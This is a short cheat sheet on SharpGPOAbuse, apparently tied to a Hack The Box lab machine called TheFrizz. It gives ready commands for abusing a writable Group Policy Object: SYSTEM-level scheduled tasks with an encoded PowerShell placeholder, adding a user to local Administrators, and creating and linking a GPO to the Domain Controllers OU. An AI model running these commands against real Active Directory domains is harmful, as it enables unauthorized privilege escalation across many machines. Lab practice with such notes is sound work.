Summery

SharpGPOAbuse is a tool for abusing writable Group Policy Objects (GPOs) to execute commands or modify settings on computers affected by the GPO.
It can add scheduled tasks, add users to local administrators, modify registry settings, and perform other GPO-based privilege escalation actions.
The target GPO must already exist and be writable by your account. Creating a GPO and linking it is a separate step.

Commands

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "FRIZZ\Administrator" --Command "cmd.exe" --Arguments "/c powershell.exe -enc <POWERSHELL ONE-LINER>" --GPOName "privesc" - Create a scheduled task through the GPO that runs as SYSTEM on affected computers
.\SharpGPOAbuse.exe --AddUserTask --TaskName "Update" --Author "FRIZZ\Administrator" --Command "cmd.exe" --Arguments "/c <command>" --GPOName "privesc" - Create a scheduled task that runs in the context of the affected user
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "FRIZZ\user" --GPOName "privesc" - Modify the GPO to add a specified user to the local Administrators group.
gpupdate /force - Force an immediate Group Policy refresh

Typical workflow

New-GPO -Name "privesc" | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes - Create and link a GPO
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "FRIZZ\Administrator" --Command "cmd.exe" --Arguments "/c powershell.exe -enc <POWERSHELL ONE-LINER>" --GPOName "privesc" - Modify the GPO with SharpGPOAbuse
gpupdate /force - Apply the policy

References

Used in: TheFrizz